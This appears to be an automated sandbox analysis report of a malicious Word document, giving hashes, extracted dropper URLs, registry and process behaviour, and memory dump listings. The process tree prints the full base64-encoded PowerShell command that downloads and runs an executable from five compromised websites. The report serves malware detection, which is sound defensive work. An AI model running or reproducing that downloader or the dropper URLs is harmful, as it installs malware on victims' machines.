56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b

Analysis

max time kernel
125s
max time network
154s
platform
windows7_x64
resource
win7-20220718-en
resource tags

arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
submitted
31-07-2022 08:28

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Report Analysis Logs

General

Target

56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b.doc
Size

123KB
MD5

af59cec0ded6240048d49d49a1f73ba2
SHA1

b9b2583cc8d108c847e9c4c50e7f28cc6273729e
SHA256

56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b
SHA512

366452925811dcbf8387e94d57c4f902fc0855cf2e174ca7d9a64c5952bc3e21301f8234a2f5784cfebedc537fa238592393942ef5a9cf0710bc8892b52ddc57

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adacan.net/cgi-bin/ArQlYWTG/

exe.dropper

http://www.czabk.com/wp-admin/EdQdoGnbBz/

exe.dropper

http://www.ri-magazine.com/ri/usod7inlc3_a8bolt-35/

exe.dropper

http://www.shang-ding.com.tw/phpmyadmin/ze24yvvom_tkdpml34w-56049/

exe.dropper

http://www.tafa.pxlcorp.com/wp-includes/xEVKeyGS/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1472	836	powershell.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
7	1472	powershell.exe
9	1472	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\TypeLib\{AFF082C8-0CEE-4CF8-B94E-558BE431F42C}\2.0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\TypeLib\{AFF082C8-0CEE-4CF8-B94E-558BE431F42C}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Interface\{8A683C91-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-4084403625-2215941253-1760665084-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
956	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1472	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
956	WINWORD.EXE
956	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
956	WINWORD.EXE
956	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 1124	956	WINWORD.EXE	28
PID 956 wrote to memory of 1124	956	WINWORD.EXE	28
PID 956 wrote to memory of 1124	956	WINWORD.EXE	28
PID 956 wrote to memory of 1124	956	WINWORD.EXE	28

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56e1c53a46d85798f576d90c23c0314c08f29c17b19ffcfeef5632462b89711b.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JAB0ADYAdwA0AHUAbwA9ACcAdwA2ADAATQB0AG8AbABFACcAOwAkAEYAegBiAFIAUABhAE4AegAgAD0AIAAnADUAOAA1ACcAOwAkAG4AQwBKAF8AXwAwAD0AJwBaADgAdwBzADQAbwBMAEIAJwA7ACQARwBoAHAAQwA2AFoAbwBKAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAHoAYgBSAFAAYQBOAHoAKwAnAC4AZQB4AGUAJwA7ACQAbwBTAFEAXwA3AE4AZgAwAD0AJwBwAHIATAAyAF8AbQAnADsAJABHADEAbwBCAEgAaQB0AGwAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AYAB3AEUAYgBDAGAATABJAGUAYABOAFQAOwAkAEQASwByAFQAWgA3AD0AJwBoAHQAdABwADoALwAvAGEAZABhAGMAYQBuAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AQQByAFEAbABZAFcAVABHAC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AYwB6AGEAYgBrAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBFAGQAUQBkAG8ARwBuAGIAQgB6AC8AQABoAHQAdABwADoALwAvAHcAdwB3AC4AcgBpAC0AbQBhAGcAYQB6AGkAbgBlAC4AYwBvAG0ALwByAGkALwB1AHMAbwBkADcAaQBuAGwAYwAzAF8AYQA4AGIAbwBsAHQALQAzADUALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGgAYQBuAGcALQBkAGkAbgBnAC4AYwBvAG0ALgB0AHcALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AegBlADIANAB5AHYAdgBvAG0AXwB0AGsAZABwAG0AbAAzADQAdwAtADUANgAwADQAOQAvAEAAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHQAYQBmAGEALgBwAHgAbABjAG8AcgBwAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB4AEUAVgBLAGUAeQBHAFMALwAnAC4AcwBwAGwASQBUACgAJwBAACcAKQA7ACQAbAA3AHcANQA4ADQAPQAnAEkATQBGAGoAaABtAFgAVAAnADsAZgBvAHIAZQBhAGMAaAAoACQASwB2AE0ATQA3AHAAegAgAGkAbgAgACQARABLAHIAVABaADcAKQB7AHQAcgB5AHsAJABHADEAbwBCAEgAaQB0AGwALgBEAE8AVwBOAEwAbwBBAEQAZgBJAGwARQAoACQASwB2AE0ATQA3AHAAegAsACAAJABHAGgAcABDADYAWgBvAEoAKQA7ACQAdgB3AEgAOABpAEIARQB1AD0AJwBuADcAdABRAE4AQQBTAFIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABHAGgAcABDADYAWgBvAEoAKQAuAEwARQBOAGcAdABoACAALQBnAGUAIAAzADkANwA3ADcAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAVABhAHIAVAAoACQARwBoAHAAQwA2AFoAbwBKACkAOwAkAFQARABJAEQAVAA0AFcAPQAnAFAANABDAEUAcwBwACcAOwBiAHIAZQBhAGsAOwAkAFgAdgAxAE0ANQBJAEIATgA9ACcAUgBoAFQARgBUADYAagBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHQASwBJAHMATQB6AGYANAA9ACcAYwBqADgAagAxAE8ARAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/956-73-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-58-0x00000000713BD000-0x00000000713C8000-memory.dmp

Filesize
44KB

Download
memory/956-54-0x0000000072951000-0x0000000072954000-memory.dmp

Filesize
12KB

Download
memory/956-57-0x00000000758D1000-0x00000000758D3000-memory.dmp

Filesize
8KB

Download
memory/956-72-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-85-0x00000000713BD000-0x00000000713C8000-memory.dmp

Filesize
44KB

Download
memory/956-84-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/956-62-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-63-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-64-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-61-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-71-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-68-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-65-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/956-55-0x00000000703D1000-0x00000000703D3000-memory.dmp

Filesize
8KB

Download
memory/956-69-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-70-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/956-74-0x0000000000457000-0x0000000000478000-memory.dmp

Filesize
132KB

Download
memory/1124-60-0x000007FEFBE61000-0x000007FEFBE63000-memory.dmp

Filesize
8KB

Download
memory/1472-76-0x000007FEF3030000-0x000007FEF3A53000-memory.dmp

Filesize
10.1MB

Download
memory/1472-77-0x000007FEF24D0000-0x000007FEF302D000-memory.dmp

Filesize
11.4MB

Download
memory/1472-78-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/1472-79-0x000000000251B000-0x000000000253A000-memory.dmp

Filesize
124KB

Download
memory/1472-80-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/1472-81-0x000000000251B000-0x000000000253A000-memory.dmp

Filesize
124KB

Download
memory/1472-82-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/1472-83-0x000000000251B000-0x000000000253A000-memory.dmp

Filesize
124KB

Download